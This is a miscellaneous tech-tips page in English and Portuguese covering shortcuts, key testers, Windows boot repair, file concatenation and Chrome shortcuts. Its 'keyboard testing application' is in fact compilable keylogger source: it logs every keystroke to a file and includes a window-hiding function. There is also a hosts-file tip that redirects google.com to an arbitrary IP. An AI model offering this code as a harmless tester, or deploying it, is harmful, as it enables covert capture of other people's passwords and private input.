Copy and paste Shortcuts

Linux

COPY

To copy you may have different scenarios

• Mode 1
• In graphical applications you may use Ctrl + C
• In terminal you may use Ctr + Shift + C
• Right click menu Copy
• Mode 2
• In any application you can just select a text

Testing keyboard keys

Online in browser
https://keycode.info/

On Windows

install
https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk/ 

and use spy++ that comes with it

On Linux
$ xev

Creating your own Windows Keyboard testing application  copy paste this code and

       
       
#include <iostream> 
#include <windows.h> 
#include <winuser.h>

#pragma comment(lib,"user32.lib")  //Use this line to get compiled on Visual Studio Code quick

using namespace std;

int Record (int key_stroke, char *file);
void Hide();

int main() {
 //   Hide();
    char i;

    while (1) {
        for(i = 8; i <= 190; i++) {
            if (GetAsyncKeyState(i) == -32767)
                Record(i, "keys.log");
        }
    }
    system("pause");
    return 0;
}


int Record (int key_stroke, char *file) {
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE * OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == 190 || key_stroke == 110)  fprintf(OUTPUT_FILE, "%s", ".");
    else if (key_stroke == 8)          fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
    else if (key_stroke == VK_TAB)     fprintf(OUTPUT_FILE, "%s", "TAB");
    else if (key_stroke == VK_SHIFT)   fprintf(OUTPUT_FILE, "%s", "SHIFT");
    else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "CTRL");
    else if (key_stroke == VK_ESCAPE)  fprintf(OUTPUT_FILE, "%s", "ESC");
    else if (key_stroke == VK_END)     fprintf(OUTPUT_FILE, "%s", "END");
    else if (key_stroke == VK_HOME)    fprintf(OUTPUT_FILE, "%s", "HOME");
    else if (key_stroke == VK_LEFT)    fprintf(OUTPUT_FILE, "%s", "LEFT");
    else if (key_stroke == VK_UP)      fprintf(OUTPUT_FILE, "%s", "UP");
    else if (key_stroke == VK_RIGHT)   fprintf(OUTPUT_FILE, "%s", "RIGHT");
    else if (key_stroke == VK_DOWN)    fprintf(OUTPUT_FILE, "%s", "DOWN");
    else fprintf (OUTPUT_FILE, "%s", &key_stroke);

    fclose(OUTPUT_FILE);
    return 0;
}


void Hide() {
    HWND HiddenWindow;
    AllocConsole();
    HiddenWindow = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(HiddenWindow, 0);
}
       
              
 

To Compile it in Visual Studio Code Follow the instruction in the website bellow https://code.visualstudio.com/docs/cpp/config-msvc 

Open Developer Command Prompt for VS 2017 start VS Code from it code . 

create

       
 
  task.json
  {
    "version": "2.0.0",
    "tasks": [
        {
            "type": "shell",
            "label": "cl.exe build active file",
            "command": "cl.exe",
            "args": [
                "/Zi",
                "/EHsc",
                "/Fe:",
                "${fileDirname}\\${fileBasenameNoExtension}.exe",
                "${file}"
            ],
            "problemMatcher": [
                "$msCompile"
            ],
            "group": "build"
        },
        {
            "type": "cppbuild",
            "label": "C/C++: cl.exe build active file",
            "command": "cl.exe",
            "args": [
                "/Zi",
                "/EHsc",
                "/nologo",
                "/Fe:",
                "${fileDirname}\\${fileBasenameNoExtension}.exe",
                "${file}"
            ],
            "options": {
                "cwd": "${workspaceFolder}"
            },
            "problemMatcher": [
                "$msCompile"
            ],
            "group": {
                "kind": "build",
                "isDefault": true
            },
            "detail": "Task generated by Debugger."
        }
    ]
}             
 

       
 
  create launch.json
  
  {
    "version": "0.2.0",
    "configurations": [
      {
        "name": "cl.exe build and debug active file",
        "type": "cppvsdbg",
        "request": "launch",
        "program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
        "args": [],
        "stopAtEntry": false,
        "cwd": "${workspaceFolder}",
        "environment": [],
        "externalConsole": false,
        "preLaunchTask": "cl.exe build active file"
      }
    ]
  }
              
 

Change command prompt color on windows

 color /?

color a    - changes the color to green

Windows 10 Safe Mode don´t accept password

Boot using a windows recovery disc or USB pendrive

Recover

Throbleshoot

Command Prompt

diskpart

list disk

Show disks  and verify number of the disk which contain windows

sel disk 0

list vol

Show volumes and verify the number of the Volume of type Fat32 with size arround 100MB or more

sel vol 2

assign letter=F:

exit

bcdboot c:\Windows /s F: /f UEFI

bootrec /fixboot

How to mirror your android device in Windows 10

In the search bar type  connect or "conectar" in portuguese, then in your phone procede as you do to mirror you phone on chromecast.

Prompt do Cygwin no menu do botão direito no windows explorer

[HKEY_CLASSES_ROOT\directory\shell\cygwin64_bash]
&Cygwin Bash Aqui

[HKEY_CLASSES_ROOT\directory\shell\cygwin64_bash\command]
c:\\cygwin64\\bin\\mintty.exe -i /Cygwin-Terminal.ico /bin/bash --login -c 'cd "%V";bash'

Concatenando / Juntando arquivos sem nenhum programa adicional.

É possível juntar dois arquivos de texto, vídeo ou qualquer outro formato binário utilizando apenas o comando COPY, nativo nos sistemas operacionais DOS/Windows.
Comando: copy /B [arquivo1] [+] [arquivo2] [+] [arquivo3] [arquivo final]
Por exemplo copy /B meu_filme_parte1.avi.001 + meu_filme_parte2.avi.002 filme_completo.avi

Concatenar arquivos texto no diretorio
FOR %f IN (*.java) DO TYPE %f >> concat.java

em Linux
Comando: cat [arquivo1] [arquivo2] [>] [arquivo final]
Por exemplo
cat meu_filme_parte1.avi.001 meu_filme_parte2.avi.002 > filme_completo.avi

Recovering Grub After Installing Windows.

https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows

Windows DNS

Para redirecionar sites por exemplo www.google.com para um ip arbritario abra o arquivo WINDOWS/System32/drivers/etc/hosts e insira a linha 200.98.249.120 www.google.com salve abra o navegador e acesse www.google.com e veja oque acontece

Chrome shortcuts

Window tab shorcuts

Action/Function	Shortcut
Open a new window	Ctrl + N
Open a new windows in incognito mode	Ctrl + Shift + N
Open link in a new tab	Ctrl + Click on link
Open link in new window	Shift + Click on link
Close current window	Alt + F4
Open a new tab	Ctrl + T
Reopen the last tab you have closed1	Ctrl + Shift + T
Switch to the tab at the specified position	Ctrl + 1 through Ctrl + 8
Switch to the last tab	Ctrl + 9
Switch to the next tab	Ctrl + Tab or Ctrl + PgDown
Switch to the previous tab	Ctrl + Shift + Tab or Ctrl + PgUp
Go to the previous page in your browsing history for the tab	Backspace, or press Alt + Left Arrow
Go to the next page in your browsing history for the tab	Shift + Backspace, or press Alt + Right Arrow
Close current tab or pop-up	Ctrl + W or Ctrl + F4
Open your homepage	Alt + Home
Open a file from your computer in Google Chrome	Ctrl + O, then select file

¹ Google Chrome remembers the last 10 tabs that you have closed
Address Bar Shortcuts

Action/Function	Shortcut
Add (www.) and (.com) to your input in the address bar and open the web address	Type the part of the web address that is between (www.) and (.com), then press Ctrl + Enter
Highlight content in the web address area	F6 or Ctrl + L or Alt + D
Open your web address in a new tab	Type a web address, then press Alt + Enter
Places a (?) in the address bar. Type a search term after the (?) to perform a search using your default search engine.	Ctrl + K or Ctrl + E
Jump to the previous word in the address bar	Place your cursor in the address bar, the press Ctrl + Left Arrow
Jump to the next word in the address bar	Place your cursor in the address bar, then press Ctrl + Right Arrow
Delete the previous word in the address bar	Place your cursor in the address bar, then press Ctrl + Backspace

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Shortcuts to Open Chrome Features

---

Action/Function	Shortcut
Toggle bookmarks bar on and off	Ctrl + B
View the History page	Ctrl + H
View the Downloads page	Ctrl + J
View the Task Manager	Shift + Esc

---

Webpage Shortcuts

---

Action/Function	Shortcut
Print your current page	Ctrl + P
Reload current page	F5
Stop page loading	Esc
Reload current page, ignoring cached content	Ctrl + F5 or Shift + F5
Scroll down the web page	Space bar
Go to the top of the page	Home
Go to the bottom of the page	End
Download link	Press Alt, then click the link
Open find-in-page box	Ctrl + F
Find next match for your input in the find-in-page box	Ctrl + G or F3
Find previous match for your input in the find-in-page box	Ctrl + Shift + G or Shift + F3
View source	Ctrl + U
Bookmark your current webpage	Ctrl + D
Make text larger	Ctrl + +
Make text smaller	Ctrl + -
Return to normal text size	Ctrl + 0

---

Um pouco de MS - DOS

http://www.computerhope.com/msdos.htm#02